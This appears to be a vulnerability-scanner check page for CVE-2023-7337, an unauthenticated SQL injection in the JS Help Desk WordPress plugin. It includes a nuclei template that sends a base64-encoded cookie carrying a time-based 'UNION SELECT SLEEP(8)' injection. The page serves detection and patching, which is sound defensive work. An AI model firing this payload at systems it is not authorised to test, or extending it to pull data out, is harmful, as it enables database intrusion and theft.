JS Help Desk <= 2.8.2 - SQL Injection

criticalseverity

7.5CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.

Impact

Unauthenticated attackers can extract sensitive database information, leading to data disclosure.

Fix

Update to the latest version of JS Help Desk plugin.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 8 and contains(body, "JS Help Desk") and status_code == 200 || status_code == 302

Run it with nuclei: nuclei -id CVE-2023-7337 -u <target>

The full check

id: CVE-2023-7337

info:
  name: JS Help Desk <= 2.8.2 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    JS Help Desk WordPress plugin 2.8.2 contains a SQL injection caused by insufficient escaping and preparation of user-supplied values in 'js-support-ticket-token-tkstatus' cookie, letting unauthenticated attackers extract sensitive database information, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can extract sensitive database information, leading to data disclosure.
  remediation: |
    Update to the latest version of JS Help Desk plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-ai-powered-support-ticketing-system-282-unauthenticated-sql-injection-via-js-support-ticket-token-tkstatus-cookie
    - https://nvd.nist.gov/vuln/detail/CVE-2023-7337
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-7337
    epss-score: 0.01427
    epss-percentile: 0.73191
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,js-support-ticket

http:
  - raw:
      - |
        @timeout: 20s
        GET /js-support-ticket-controlpanel/?jstmod=ticket&jstlay=ticketdetail&jssupportticketid=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: js-support-ticket-token-tkstatus=eyJlbWFpbGFkZHJlc3MiOiJ0ZXN0QHRlc3QuY29tJyBVTklPTiBTRUxFQ1QgU0xFRVAoOCktLSAtIiwidHJhY2tpbmdpZCI6InRlc3QxMjMifQ==

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'contains(body, "JS Help Desk")'
          - 'status_code == 200 || status_code == 302'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from